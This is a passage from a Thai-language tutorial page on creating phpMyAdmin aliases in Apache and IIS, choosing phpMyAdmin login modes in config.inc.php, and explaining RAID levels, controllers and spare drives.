    ส่วนฐานข้อมูล วางไว้ที่ E:\database
    สร้าง Alias ชี้ไปที่ E:\database ตั้งชื่อ Alias ว่า phpMyAdmin
    ทั้ง เวบ A และ เวบ B จะต้องพิมพ์ URL ชื่อเวบไซค์ของตัวเอง และต่อด้วย phpMyAdmin
    http://a.com/phpMyAdmin และ http://b.com/phpMyAdmin


    Virtual Directory สำหรับ Apache
    เปิดไฟล์ httpd.conf ด้วยText Editor โดยเข้าไปที่ไดว์
    ที่ตั้งไฟล์ \Program Files\Apache Group\Apache\conf\
    เพิ่มข้อความที่ไฟล์ httpd.conf
    Alias /phpMyAdmin "C:/Inetpub/phpMyAdmin"
    <Directory "C:/Inetpub/phpMyAdmin">
    Options Indexes FollowSymLinks MultiViews
    AddOutputFilter Includes html
    AllowOverride None
    Options None
    Order allow,deny
    Allow from all
    </Directory>
    Virtual Directory สำหรับ IIS

    1. คลิกขวาที่ MyComputer เลือก Manage ปรากฏหน้าจอ Computer Management
    2. ใน Internet Information Services คลิกเลือก Default WebSite
    3. คลิกขวาที่ Default Web Site เลือกเมนู Properties

    4. ปรากฏ หน้าต่าง Wizard คลิก Next เพื่อทำต่อ

    5. พิมพ์ชื่อ เพื่อสร้างเส้นทางลัด คลิก Next เพื่อทำต่อ

    6. เลือก Browse เพื่อเลือก Directory (ไม่จำเป็นต้องอยู่เส้นทางเดียวกับเวบ หรืออยู่อีกไดว์ ก็ได้)

    7. ติ๊กเลือก Permissions ของ Directory ที่ต้องการ Read/Write/Execute
         สำหรับ Browse คือโชว์ Directory กรณี ไม่มีไฟล์ Index Directory
    8. คลิก Next เพื่อทำต่อ และ Finish เพื่อจบ Wizard

    Credit :: www.canot.info

    :: ปรับแต่ง phpMyAdmin ::


    phpMyAdmin เป็น Script PHP ที่จัดการฐานข้อมูล mySQL โดยผ่าน Browser ที่นิยมใช้กันมาก
    ( ดาวน์โหลด phpMyAdmin ได้ที่ phpmyadmin.net หรือ
    คลิกที่นี่)
    การปรับแต่งค่าในส่วน config ของ phpMyAdmin
    ซึ่งถ้าติดตั้ง mySQL ครั้งแรก ก็ไม่จำเป็นต้องแก้ไข ถ้า User Login คือ root และไม่ได้เปลี่ยนแปลงรหัสผ่าน
    ขั้นตอนในการปรับแต่ง
    1. คลายไฟล์ ZIP วางที่ Directory ภายใต้ WebServer หรือจะสร้าง Alias ก็ได้ (
    วิธีสร้าง Alias )
    2 . เปิดไฟล์ config.inc.php ซึ่งอยู่ในโฟลเดอร์ phpMyAdmin ด้วย Text Editor
    3. แก้ไข $cfg['PmaAbsoluteUri'] บรรทัดที่ 39 เพื่อชี้ไปที่ Directory ของ phpMyAdmin
         $cfg['PmaAbsoluteUri'] = 'http://localhost/phpMyAdmin/';
        ถ้าติดตั้ง 2 Service ไว้ (
    วิธีติดตั้ง 2 Service ) ไม่จำเป็นต้องแก้ไข $cfg['PmaAbsoluteUri']
        แต่ให้แก้ไข ในบรรทัดที่ 47 โดยแก้จาก FALSE เป็น TRUE ในส่วนของ
        $cfg['PmaAbsoluteUri_DisableWarning'] = TRUE;
    4. เลือกตั้งค่าของ $cfg['Servers'][$i]['auth_type']
    แบบที่ 1 config
        Login อัตโนมัติ เข้า phpMyAdmin โดยไม่ผ่านหน้าล็อกอิน
    แบบที่ 2 http
        Login ผ่านหน้าต่าง HTTP Authentication ( เหมือนแบบ Server จริง )
    แบบที่ 3 cookie
        Login ผ่าน Browser ( เหมือนแบบ Server จริง )


    แบบที่ 1 เลือกตั้งค่าในรูปแบบ config
    บรรทัดที่ 83-85 (ปกติเป็นค่า Default) ไม่ต้องแก้อะไร นอกจากมีการเปลี่ยนแปลง User หรือ Password
    $cfg['Servers'][$i]['auth_type'] = 'config';
    $cfg['Servers'][$i]['user'] = 'root';
    $cfg['Servers'][$i]['password'] = '';
    * ถ้าสร้าง User ใหม่ ให้แก้ไข ['user'] = 'user' และ ['password'] = 'password' ด้วย
    * การค่าแบบนี้ จะไม่ผ่านหน้า Login เพราะ User+Pass ถูกกำหนดค่าไว้แล้ว และใช้ได้แค่ 1 User เท่านั้น
    แบบที่ 2 เลือกตั้งค่าในรูปแบบ HTTP Authentication

    แก้ไขที่ไฟล์ config.inc.php บรรทัดที่ 83-85
    $cfg['Servers'][$i]['auth_type'] = 'http';
    $cfg['Servers'][$i]['user'] = '';
    $cfg['Servers'][$i]['password'] = '';
    * ไม่ต้องใส่ค่าใดๆ ให้กับ ['user'] และ ['password']
    แบบที่ 3 เลือกตั้งค่าในรูปแบบ Cookie Login ผ่าน Browser

    แก้ไขที่ไฟล์ config.inc.php บรรทัดที่ 83-85
    $cfg['Servers'][$i]['auth_type'] = 'cookie';
    $cfg['Servers'][$i]['user'] = '';
    $cfg['Servers'][$i]['password'] = '';
    * ไม่ต้องใส่ค่าใดๆ ให้กับ ['user'] และ ['password']
    และแก้ไข $cfg['blowfish_secret'] (บรรทัดที่ 60) เป็น
    $cfg['blowfish_secret'] = 'cookie';
    พิมพ์ url เข้าไปที่ http://localhost/phpMyAdmin ก็จะได้ตามรูปแบบที่ตั้งค่าไว้

    :: RAID:Redundant Array of Independent Disks ::

         ในปี 1987 Patterson, Gibson และ Katz ซึ่งทำงานที่ University of California Berkeley ได้พิมพ์บทความเกี่ยวกับ A Case for Redundant Arrays of Inexpensive Disks (RAID) โดยเอกสารนี้ได้บรรยายถึงชนิดของดิสก์อะเรย์ประเภทต่างๆ โดยเรียกชื่อย่อๆว่า RAID หลักการพื้นฐานของ RAID มาจากแนวคิดที่ว่า เมื่อเอาดิสก์ที่มีความจุน้อยหลายๆตัวมารวมกัน ประสิทธิภาพที่ได้จากการใช้งานจะมากกว่าใช้ดิสก์ขนาดใหญ่เพียงตัวเดียว โดยเมื่อเอาดิสก์มารวมกันแล้ว คอมพิวเตอร์จะต้องเห็นว่าเป็นดิสก์ขนาดใหญ่ตัวเดียว (เป็น Logical Drive)
        ต่อมา RAID ก็เปลี่ยนคำจำกัดความเป็น Redundant Array of independent disks ข้อดีคือ ได้ความจุเพิ่มขึ้น แต่ถ้าตัวใดตัวหนึ่งพังก็จะเสีย ข้อมูลในฮาร์ดดิสก์ตัวนั้นไป แต่จะป้องกันได้มากกว่า ใช้ระบบการจัดแบ่งเก็บข้อมูลในแต่ละตัวก็มีข้อมูลที่ซ้ำกัน หรือมีการเก็บ Parity ของอีกตัวไว้ ถ้าเกิดวันใดที่ตัวหนึ่งเกิดพังไป ข้อมูลในตัวที่พังก็ยังคงมีเก็บ "สำรองเผื่อเสีย" ไว้ การแก้ไข ก็เพียงเอาฮาร์ดดิสก์ใหม่มาเปลี่ยน แล้วค่อยๆ ผ่องถ่ายข้อมูลที่ฮาร์ดดิสก์ตัวเก่าที่พังไปเคยฝากไว้กับฮาร์ดดิสก์ตัวอื่นลงมาใหม่ๆ ทำให้สมบูรณ์แบบ ทั้งหมดนั้นเรียกว่าระบบ Fault Tolerance คือ แทนที่ว่าฮาร์ดดิสก์พังไปตัวหนึ่งก็ต้อง "Down" เซิร์ฟเวอร์ ทำให้ระบบต้องหยุดชะงัก เพื่อป้องกันความเสียหายดังกล่าว จะต้องสร้างระบบให้คงทนต่อความเสียหาย ฮาร์ดดิสก์พังไปแล้วหนึ่งตัว ระบบยังทำงานต่อไปเหมือนไม่มีอะไรเกิดขึ้น (On-the Fly) โดยวิธีการนี้ จะต้องใช้ RAID
        คำจำกัดความของ RAID คือ เทคโนโลยีของหน่วยเก็บข้อมูลที่ใช้เพื่อปรับปรุงระบบให้มีความสามารถในการประมวลผลเกี่ยวกับการจัดเก็บข้อมูล เทคโนโลยีดังกล่าวจะออกแบบเพื่อให้ระบบการจัดเก็บข้อมูลแบบอะเรย์มีความเชื่อถือได้ และเพื่อใช้ข้อดีของการนำประสิทธิภาพที่เพิ่มขึ้นจากการเพิ่มฮาร์ดดิสก์เข้าไปในระบบหลายๆ ตัวเข้ามาใช้งาน ฮาร์ดดิสก์ที่ต่อกันเป็นสมาชิกของอะเรย์ (แบบเดียวกับทางคณิตศาสตร์ เรื่องของ อะเรย์) แล้วทำอย่างไรให้ทำงานได้น่าเชื่อถือ แล้วการมีฮาร์ดดิสก์หลายๆ ตัว และให้เขียนและอ่านหลายๆ ตัว พร้อมๆ กัน จะได้ประสิทธิภาพดีกว่าเขียนและอ่านตัวเดียว ซึ่งต้อง "รอ" ให้การเขียนเสร็จสิ้นเป็นคราวๆ ถึงจะเริ่มเขียนใหม่ได
        ประโยชน์อีกประการของ RAID คือ "เผื่อเสีย" คือ ถ้าตัวหนึ่งเสีย อีกสลับตัวที่สำรองไว้ขึ้นมาทำงานโดยอัตโนมัติ โดยไม่ต้องถูกขัดจังหวะจากการเสียเวลาซ่อมแซม การใช้งานดิสก์ยังคงเกิดขึ้นอย่างปกติ ตัวที่เสีย ระบบคอมพิวเตอร์ก็จะมองผ่านไป
    ปัจจุบันการนำ RAID มาใช้งานนั้น เกี่ยวกับเซิร์ฟเวอร์เป็นส่วนใหญ่ เมื่อระบบเครือข่ายถูกพัฒนาขึ้นใช้ ความสำคัญของหน่วยเก็บข้อมูล (Storage System) ก็ทวีความสำคัญขึ้น เพราะในเซิร์ฟเวอร์นั้น ถ้าหากว่าฮาร์ดดิสก์ชำรุด ใช้งานไม่ได้ นอกจากจะสูญเสียข้อมูลที่เก็บไว้ในฮาร์ดดิสก์ไปทั้งหมดแล้ว ยังจะต้องเสียเวลาเพื่อรอให้การซ่อมแซมแล้วเสร็จ ซึ่งหมายถึงการสูญเสียโอกาสทางธุรกิจ

    ประโยชน์จาก RAID
    • เอื้อประโยชน์ในการรวมเอาพื้นที่จากฮาร์ดดิสก์หลายๆ ตัวเข้ารวมกันเป็น "ก้อน" ก้อนเดียว
    • ใช้ประโยชน์จากการ "เข้าถึง" ของฮาร์ดดิสก์แต่ละตัว ซึ่งหมายถึง จะแบ่งข้อมูลออกเป็นบล๊อคย่อยๆ แล้วแยกกันไปเขียน (อ่าน) ลงบนฮาร์ดดิสก์แต่ละตัว ทำให้ย่นระยะเวลาทำงาน และลดระยะเวลาคอย (Wait State)
    • มีระบบ "เผื่อเสีย" โดยการทำ "Mirroring" หรือ Parity
    การนำเอาดิสก์หลายๆ ตัวมารวมกันเป็นดิสก์อะเรย์ แล้วกำหนดให้เป็น Logical Drive เพียงหนึ่งตัว นั้นมี "Stripping" เป็นหัวใจในการทำงาน กล่าวได้ว่า Stripping เป็นหลักการพื้นฐานของ RAID คือ เมื่อมีฮาร์ดดิสก์หลายๆ ตัวมารวมกัน การเขียนข้อมูลชุดหนึ่งๆ ลงดิสก์ เพื่อให้ได้ประสิทธิภาพดีที่สุด ต้องมีการ "กระจาย" ข้อมูลลงไปในดิสก์ทุกตัวในอะเรย์ เรียกการกระจายเขียน-อ่านข้อมูลเหล่านี้ว่า Stripping
    กระบวนการ Stripping นั้นสิ่งที่สำคัญคือ I/O เพราะต้องมีการเข้าถึงฮาร์ดดิสก์ในอะเรย์ ต้องจัดการให้ดิสก์ทุกตัวบรรจุข้อมูลที่ถูกเขียน-อ่าน (Access) ในสภาวะที่สมดุลกัน ยิ่ง RAID Controller ออกแบบเท่าไร ก็จะได้ประสิทธิภาพจาก I/O มากขึ้น สำหรับตัวควบคุมอะเรย์แบบฮาร์ดแวร์ (RAID Controller) การวัดประสิทธิภาพในการทำงาน สิ่งที่นำมาวัดประสิทธิภาพก็คือ I/O Performance

    ระดับของ RAID

       ระดับมาตรฐานของ RAID แบ่งออกได้เป็น 6 ระดับ คือ 0 -5 ที่กล่าวถึงและมีการใช้งานกันบ่อยๆ คือ 0, 1 ,3 5 ส่วน 2 กับ 4 นั้นไม่ได้ใช้งาน และ มีระดับอื่น เช่น 6,7,10,1+0 ,53 ซึ่งเป็นการพัฒนาจากระดับมาตรฐาน RAID 0-5 

    RAID 0

     Images By http://www.acnc.com

       RAID 0 Block Striping คือ แทนที่ข้อมูลชุดหนึ่งจะถูกเขียนลงในฮาร์ดดิสก์เพียงตัวเดียว ก็จะถูกแบ่งกระจายออกเป็นบล๊อค แล้วก็เขียนลงไปในฮาร์ดดิสก์หลายๆตัว ประสิทธิภาพของดิสก์ดีขึ้น แต่ก็ยังไม่มีระบบ "เผื่อเสีย" ถ้าดิสก์เสียเพียงลูกเดียว ข้อมูลก็หาย ระบบนี้ ใช้ ดิสก์ อย่างน้อย 2 ลูก
    ระบบนี้ไม่ต้องเสียพื้นที่ของฮาร์ดดิสก์ไว้จัดเก็บข้อมูล "เผื่อเสีย" ทำให้ใช้ความจุของฮาร์ดดิสก์ได้เต็มที่ ประสิทธิภาพสูง เพราะแบ่งกันเขียน แบ่งกันอ่าน เหมาะสำหรับการใช้งานในกรณีการสูญเสียข้อมูลไม่มีผลกระทบต่อการทำงาน เช่น กรณีที่ข้อมูลด้านของวีดีโอออนไลน์ ซึ่งมักมีตัวต้นฉบับที่เก็บเอาไว้ ถ้าเกิดเสียหายก็นำต้นฉบับมาคัดลอกไว้ใหม่ หรือ Proxy Server ที่ต้องการ I/O Performance มากกว่าความวิกฤติของข้อมูล

     RAID 1

    Images By http://www.acnc.com

       RAID 1 Disk Mirrior "ดิสก์กระจกเงา" เป็นฮาร์ดดิสก์สองชุด ที่เป็นเสมือน "เงา" ของกันและกัน การทำงานก็คือ เห็นเป็น Logical Drive เดียวกัน แต่ตัวไดรฟ์ที่ใช้งานคนละไดรฟ์ เวลาข้อมูลถูกเขียน ก็จะเขียนลงทั้งสองไดรฟ์เหมือนๆ กัน ถ้าตัวหนึ่งเกิดพังไป อีกตัวหนึ่งก็ยังทำงานได้เหมือนเดิม ข้อเสียของ Disk Mirror คือ ลดประสิทธิภาพของการเขียน-ลงไปมาก เพราะต้องเขียนทั้งสองตัว (เวลาอ่านเพียงตัวเดียว) ราคาแพงเพราะต้องซื้อมาเผื่อไว้อีกชุดหนึ่ง ความเหมาะสมในการใช้งาน เหมาะสมกับระบบงานที่ต้องการความมั่นคงข้อมูลสูงเช่น ระบบบัญชี การเงิน ระบบเงินเดือน ระบบประเภท Online Transaction และระบบที่มีการเข้าถึงข้อมูลแบบสุ่ม โดยที่ขนาดของข้อมูลไม่ใหญ่นัก การ "เผื่อเสีย" ดีมาก แต่ประสิทธิภาพแไม่ดีนัก ราคาก็แพงอีก ระบบนี้ ใช้ Disk อย่างน้อย 2 ลูก

     RAID 2

    Images By http://www.acnc.com

       ข้อมูลจะถูก stripe ไปยังดิสก์หลายๆ ตัวในระดับ bit และจะใช้ Hamming Code ECC เป็นเทคนิคสำหรับใช้ทำ error correction โดยจะต้องใช้ดิสก์หนึ่งตัวหรือมากกว่าเป็นที่สำหรับเก็บ Hamming Code ECC นี้ สำหรับการทำงานของ RAID-2 เมื่อมีการเขียนข้อมูลลงในดิสก์ RAID-2 จะคำนวณ ECC ของข้อมูลที่อยู่ใน stripe เดียวกันและเก็บลงใน ECC ดิสก์ ในกรณีที่มีดิสก์ที่เก็บข้อมูลเกิดความเสียหาย RAID ก็จะทำการ recover ข้อมูลได้ด้วยการ rebuild ข้อมูลในดิสก์ตัวที่เสียไปขึ้นมาใหม่จาก ECC ระบบนี้ต้องใช้ ดิสก์เก็บ Hamming Code จำนวนมาก ใกล้เคียงกับ RAID 2 จึงไม่มีใช้ในแง่ธุรกิจ

    RAID 3

    Images By http://www.acnc.com

       RAID 3 "Block strip with dedicated parity" เทียบกับ RAID 0 ก็คือ มีการแบ่งเป็น Block เพื่อเขียนลงในไดรฟ์แต่ละตัว แต่ที่เพิ่มมาก็คือ dedicated parity คือ นอกจากเพิ่มประสิทธิภาพแล้ว ยังมีระบบ "เผื่อเสีย" อีก ซึ่งจะใช้ดิสก์ตัวหนึ่งทำ Parity Disk เลย ถ้าหากมีดิสก์ตัวใดตัวหนึ่งเสีย ก็จะดึงข้อมูลจาก Parity Disk นั้นได้ ประสิทธิภาพของ RAID 3 ? ยังไม่ดีนัก เพราะการเขียนข้อมูลนั้นเขียนแบบเรียงลำดับ ระหว่าง Logical Drive ในแต่ละ Physical Drive ไม่ได้เขียนทีละหลายๆไดรฟ์ นอกจากนี้ ทุกๆ ครั้งที่มีการเขียนข้อมูลลงในไดรฟ์ใดก็ตาม จะต้องมีการปรับปรุง (เขียน) ข้อมูลใน Parity Disk ซึ่งต้องเสียเวลาในการคำนวณและการเขียนด้วย ระบบนี้ ใช้ Disk อย่างน้อย 3 ลูก
       ความเหมาะสมในการใช้งาน เหมาะสมกับข้อมูลวิดีโอ โปรแกรมประยุกต์ที่ต้องการประสิทธิภาพของระบบจัดเก็บข้อมูลสูง หรือฐานข้อมูลที่มีการเข้าถึงข้อมูลแบบลำดับ และข้อมูลมีขนาดใหญ่ 

    RAID 4

    Images By http://www.acnc.com

       RAID 4 “Independent Data disks with shared Parity disk “ เนื่องจาก RAID-3 มีปัญหาในการอ่านและเขียน file เล็กๆ ดังนั้นจึงได้มีการพัฒนา RAID-4 ขึ้นมาโดยปรับปรุง RAID-3 ใหม่โดยเปลี่ยนแปลงการเขียนใหม่จากการเขียนแบบขนานพร้อมกันหมด เป็นการเขียนแบบไม่ขึ้นต่อกันของ disk และเปลี่ยนจากการ access ทีละ bit เป็น block แทน โดยที่แต่ละ block จะมีขนาด 4 - 64 KB นอกเหนือจากนี้ยังคงเหมือน RAID-3 คือใช้ parity disk เพียง 1 ตัวและกระจายข้อมูลในทุก disk ซึ่งการเขียนทีละ block นี้จะช่วยแก้ปัญหา file เล็กๆได้คือ ไม่ต้อง อ่านเขียนข้อมูลพร้อมกันหมดทุก disk และสามารถ อ่านและเขียนข้อมูลใน disk ที่ไม่ได้ทำงานได้อีก RAID-4 ยังคงมีปัญหาในการเขียนเช่นเดียวกับใน RAID-3 RAID-4 จะให้เนื้อที่ในการเก็บข้อมูลเป็น n-1 disk (n คือจำนวน disk ทั้งหมด ) ยังมีปัญหาการ Write ข้อมูลยังต้องรอ Parity Disk ไม่เป็นที่นิยมใช้

     RAID 5

    Images By http://www.acnc.com

       RAID 5 "Multiple Blocking with distributed parity" หมายถึงการทำบล๊อกของข้อมูลหลายๆ บล๊อกแล้วก็จัดการส่งไปเขียนลงไปหลายๆ ไดรฟ์ ในส่วนของการ "เผื่อเสีย" ก็มีการจัดเก็บ Parity ไว้ในหลายๆ ไดรฟ์อีก ถ้ามองที่การ "เผื่อเสีย" ก็เหมือนกับ RAID 3 นั้น ที่แตกต่างก็คือ เก็บ Parity ไว้ในหลายๆ ไดรฟ์ โดยมีข้อแม้ว่า ตัวข้อมูลเอง และตัวตรวจสอบ Parity นั้นจะต้องไม่ถูกเก็บไว้ในดิสก์ตัวเดียวกัน! เพราะถ้าเกิดว่าฮาร์ดดิสก์เกิดพังขึ้น ก็ยังคงใช้ Parity มาช่วยในการจัดเตรียมชุดข้อมูลขึ้นใหม่ได้ และแก้ปัญหา RAID 4 .ในการ Write ข้อมูล ระบบนี้ ใช้ Disk อย่างน้อย 3 ลูก
    ความเหมาะสมในการใช้งาน เหมาะกับการใช้งานกับฐานข้อมูล (Database Server) ระบบอินทราเนท (Intranet Server) ซึ่งเป็นระบบที่มีการอ่านข้อมูลจากฮาร์ดดิสก์เป็นหลัก 

    RAID 6

    Images By http://www.acnc.com

       RAID-6 “Independent Data disks with two independent distributed parity schemes” เป็นระดับที่เพิ่มขึ้นมาใหม่จาก RAID เดิม โดยนำ RAID-5 มาเพิ่ม parity เข้าไปรวมเป็น 2 parity ซึ่งจะสามารถกู้ข้อมูลกลับคืนมาได้ถึงแม้จะมี disk เสียถึง 2 ตัวพร้อมกัน parity ทั้ง 2 แบบจะใช้ algorithm คนละแบบกัน การเพิ่ม parity เข้าไปนี้จะทำให้เปลือง disk เพิ่ม อีก 1 ลูกและยังทำให้เกิดปัญหาในการเขียนมากกว่า RAID-5 เพราะจะต้องอ่านและเขียน parity เพิ่มขึ้นอีก ดังนั้นประสิทธิภาพในการเขียนจึงต่ำมาก RAID-6 ต้องการอย่างน้อย 4 disk ในการ form RAID-6 และจะมีเนื้อที่ในการเก็บ ข้อมูล n-2 disk

     RAID 7

    Images By http://www.acnc.com

       RAID 7 : “Optimized Asynchrony for High I/O Rates as well as High Data Transfer Rates” เป็นระบบเทคโนโลยีเฉพาะของ Storage Computer Corporation ใช้ embedded array control microprocessor เขียนอ่านข้อมูลผ่าน High Speed X-Bus ประสิทธิภาพเป็น 1.5 ถึง 6 เท่า ของ RAID ระดับอื่น แต่ข้อเสียคือเป็นเทคโนโลยีปิดของบริษัทเดียว บริการไม่ดีเท่าที่ควร ระยะเวลารับประกันน้อย ต้นทุนต่อ MB สูงกว่าระดับอื่นๆ ต้องมี UPS
    ป้องกันข้อมูลสูญหายจาก Cache

     RAID 0+1

    Images By http://www.acnc.com

       RAID 0+ 1 “: High Data Transfer Performance” เป็นการนำ Striping แบบ RAID 0 และทำ Mirror แบบ RAID 1 อีกครั้ง ทำให้Transfer ข้อมูลได้เร็ว (RAID 0) และ Reliability (RAID 1) ข้อเสียต้องลงทุนมาก เป็นข้อจำกัดในการขยายระบบงาน (Limited Scalability) ระบบนี้ต้องใช้ดิสก์อย่างน้อย 4 ลูก

     RAID 10

    Images By http://www.acnc.com

       RAID 10 “Very High Reliability combined with High Performance” คือการทำ RAID-0 บน RAID-1 หรือ striping บน mirroring RAID-10 มีการสำรองข้อมูลที่สมบูรณ์และมีประสิทธิภาพในการอ่านเขียนข้อมูลสูง แต่จะมีราคาแพงมากเพราะต้องใช้ดิสก์จำนวนมาก จึงเหมาะกับงานที่ต้องการประสิทธิภาพและความน่าเชื่อถือของระบบสูง และจะต้องมีงบประมาณมากด้วย เหมาะสำหรับระบบที่ทำ RAID 1 แล้วต้องการปรับปรุงเพื่อเพิ่ม Performance ระบบนี้ต้องใช้ดิสก์อย่างน้อย 4 ลูก

    RAID 53

    Images By http://www.acnc.com

       RAID 53 : “High I/O Rates and Data Transfer Performance” ระบบนี้ที่จริงควรเรียกว่า RAID 03 เพราะว่านำหลักการ Stripping ของ RAID 0 มาร่วมกับ การ Segment Parity แบบ RAID 3 เหมาะสำหรับระบบที่ทำ RAID 3 อยู้แล้วต้องการเพิ่ม Performance ระบบนี้ใช้ดิสก์อย่างน้อย 5 ลูก

    ส่วนประกอบของ RAID

    RAID Controller
       ตัวควบคุมระบบ RAID นั้นใช้ได้ทั้งซอฟต์แวร์และฮาร์ดแวร์ หรือใช้รวมกันก็ได้ ซอฟต์แวร์เช่น Windows NT 4.0 สนับสนุน RAID ระดับ 0 ,1 (Striping , Mirroring) และฮาร์ดแวร์จากผู้ผลิตรายต่างๆ ซึ่งมีอยู่มากหลากหลาย เช่น Asustek , Adaptec , DCT ,MTI ซึ่งฮาร์ดแวร์เหล่านั้นมีราคาอยู่ในระหว่างสองหมื่นถึงเป็นล้านบาท
       กรณีใช้ซอฟต์แวร์เป็น RAID Controller จะมีข้อจำกัดคือ ระดับที่สนับสนุน คือ 0, 1 (Striping , Mirroring) นั้นยังไม่ครอบคลุมระดับ Data Protection ในเรื่องของพาริตี้ ซึ่งมีใน RAID ระดับ 3,5 และใช้กำลังจากโปรเซสเซอร์ ทำให้โปรเซสเซอร์มีเวลาจะไปประมวลผลงานอื่นๆ น้อยลง การใช้ซอฟต์แวร์ควบคุม มีข้อดีคือ ราคาถูกกว่า ไม่ต้องการอุปกรณ์เพิ่มเติมมากนัก
       ส่วนฮาร์ดแวร์ โดยมากจะได้รับการออกแบบที่ดี แต่ฮาร์ดแวร์ก็มีข้อแตกต่างระหว่างยี่ห้อต่างๆ คือ ประสิทธิภาพในการทำงานแตกต่างกันออกไป การติดตั้งยากกว่าซอฟต์แวร์ควบคุม และราคาการลงทุนค่อนข้างสูงกว่า เพราะต้องการอุปกรณ์เพิ่มเติม ไม่ว่าจะเป็นฮาร์ดดิสก์ เคสสำหรับฮาร์ดดิสก์ โดยเฉพาะระบบ "Hot Swap" แต่ผลของการลงทุนก็คุ้มค่า (เกี่ยวกับ Hardware RAID Controller ดูข้อมูลเพิ่มเติมได้จาก รู้จักกับ RAID Controller)
    ฮาร์ดดิสก์ที่นำมาต่อเป็น Array (Physical Drive)
       คือฮาร์ดดิสก์ที่นำมาต่อเข้าเพื่อใช้กับระบบที่จะใช้ RAID จำนวนของฮาร์ดดิสก์นั้น ขึ้นอยู่กับระดับของ RAID ที่เลือกใช้งาน
    ไดรฟ์อะไหล่ (Spare Drive)
       เป็นฮาร์ดดิสก์ที่นำมาติดตั้งไว้เป็น "อะไหล่" เผื่อว่าฮาร์ดดิสก์ตัวอื่นๆ ที่ใช้ในระบบ RAID เกิดชำรุดเสียหาย โดยปกติเมื่อไดรฟ์ตัวใดตัวหนึ่งในระบบเกิดเสียหาย ไดรฟ์ที่เป็น "อะไหล่" จะถูกสลับเข้าไปใช้งานแทนที่โดยอัตโนมัติทันที
    ไดรฟ์ชำรุด (Failed Drive)
       ฮาร์ดดิสก์ที่ชำรุดเสียหาย เช่นมี Bad Sector หรือตัวระบบกลไกการทำงานเสียหาย หรือไม่ตอบสนองต่อการทำงานของ Host SCSI ไดรฟ์พวกนี้ถือเป็น "ไดรฟ์ชำรุด" จะต้องเอาออกและเปลี่ยนไดรฟ์ดีเข้าไปใหม่
    ไดรฟ์ตรรกะ (Logical Drive)
       เหมือนกับระบบดอสธรรมดา คือ ไม่ใช่ไดรฟ์จริง เป็นเพียงไดรฟ์สมมุติ แต่ใน RAID ไดรฟ์ตรรกะนั้น เกิดจากการรวมเอาไดรฟ์อื่นๆ มารวมกัน ให้เกิดความจุสูงขึ้น
    Logical Volume
       ไม่อยากแปลเป็นไทย เอาเป็นแบบเดิม คงความหมายดีกว่า เมื่อต้องการ "ก้อน" ของฮาร์ดดิสก์ที่มีความจุมากขึ้น ทำได้โดยการนำเอา "Logical Drive" มารวมเข้าด้วยกันเป็น Logical Volume นั้นเอง

    การจัดการ RAID

       เมื่อกล่าวถึงการจัดการ RAID ก็เสมือนว่าเรากำลังคุยกันเกี่ยวกับเทคโนโลยี "การจัดเก็บข้อมูล" หรือ Storage Technology ซึ่งมีสองส่วนด้วยกันคือ การเลือกระดับของ RAID ที่เหมาะสมกับการใช้งาน และการจัดการกับไดรฟ์ที่เสียหาย

    การเลือกระดับ RAID ที่เหมาะสม

       RAID แต่ละระดับมีความเหมาะสมเกี่ยวกับการใช้งาน และความต้องการฮาร์ดแวร์ ซอฟต์แวร์ ฮาร์ดดิสก์แตกต่างกัน ดูอ้างอิงได้จากระดับของ RAID ซึ่งกล่าวไว้คร่าวๆ เกี่ยวกับระดับของ RAID และการใช้งาน

    การติดตั้ง RAID สามารถทำได้ 3 วิธีดังนี้

    • Software RAID

       CPU ของเครื่องคอมพิวเตอร์จะมีหน้าที่ทำงานทุกอย่างของ RAID ทำให้การทำงานช้าโดยเฉพาะเมื่อต้องทำการคำนวณ parity เช่น RAID-3 และ RAID-5 แต่จะมีราคาถูกเพราะไม่ต้องใช้อุปกรณ์พิเศษอื่น และบาง OS (เช่น Linux, NT) ก็มี software RAID ติดตั้งมาให้แล้ว software RAID สามารถทำงานได้ทั้งบน SCSI และ IDE ดิสก์ แต่อาจจะขาดความสามารถบางอย่างไปเช่น hot swap

    • Controllr Hardware RAID (Bus-to-SCSI)
       จะเป็น RAID controler card ที่ต่อภายในเครื่องคอมพิวเตอร์ผ่านทาง ISA/EISA/PCI bus ทำหน้าที่ต่างๆ ของ RAID แทน CPU ทำให้ OS มองเห็น RAID เป็นเหมือนดิสก์ธรรมดาตัวหนึ่งเท่านั้น โดยปกติ hardware RAID จะทำงานได้เร็วกว่า software RAID ในสภาวะที่ CPU มีการทำงานอย่างหนัก สามารถใช้งานได้กับ OS ที่มี driver รองรับการทำงานของ RAID controler card รุ่นนั้นๆ

    • External Hardware RAID (SCSI-to-SCSI)
       มีลักษณะเป็นกล่องสามารถทำงานได้กับทุก OS เพียงแต่ต่อสายเข้าไปกับ SCSI interface ของเครื่องคอมพิวเตอร์ ก็จะทำให้ OS เห็นเหมือนกับเป็นดิสก์หนึ่งตัว ในกล่องจะมี microprocessor สำหรับการทำงานของ RAID และใช้อุปกรณ์ที่มีความสามารถพิเศษเช่น redundant power supply หรือ hot swap แต่จะมีราคาแพง และความเร็วในการ transfer ข้อมูลจะถูกจำกัดด้วยความเร็วของ SCSI

    การจัดการไดรฟ์เสีย
       การจัดการกับไดรฟ์เสีย ไม่ได้หมายถึงว่า ฮาร์ดดิสก์เสียแล้ว ถึงค่อยคิดว่า จะจัดการอย่างไร แต่หมายถึง จะทำอย่างไรกับ "ระบบเผื่อเสีย" หาฮาร์ดดิสก์มา Standby หรือเปิดไว้รอ เหมือนเตรียมยางรถยนต์อะไหล่ติดไว้ที่ท้ายรถ? อะไหล่หรือ Spare นี่เป็นของ "เผื่อเสีย" แน่นอน คิดอยากมีระบบ "เผื่อเสีย" ก็ต้องลงทุนบ้าง สำหรับ RAID ก็เช่นเดียวกัน ต้องลงทุนซื้อไดรฟ์มาไว้ เรียกว่าเป็น Spare Drive ซึ่งมีทั้ง Global Spare Drive และ Local Spare Drive เป็นสองกลุ่ม ความแตกต่างคือ Local Spare Drive จะเป็นอะไหล่สำหรับ Local Drive เพียงตัวเดียว (แยกให้ออกนะครับ Local Drive ตัวเดียวหมายถึง 1 "ก้อน" หรือ 1 Volume ซึ่งจะรวมได้หลายๆ Physical Drive เพราะ Local Drive ในระบบเครือข่าย แตกต่างจาก Local Drive ของพวกเครื่องพีซี) แต่ Global Spare Drive นั้นเป็นอะไหล่สำรองสำหรับ Local Drive 2 ก้อนขึ้นไป
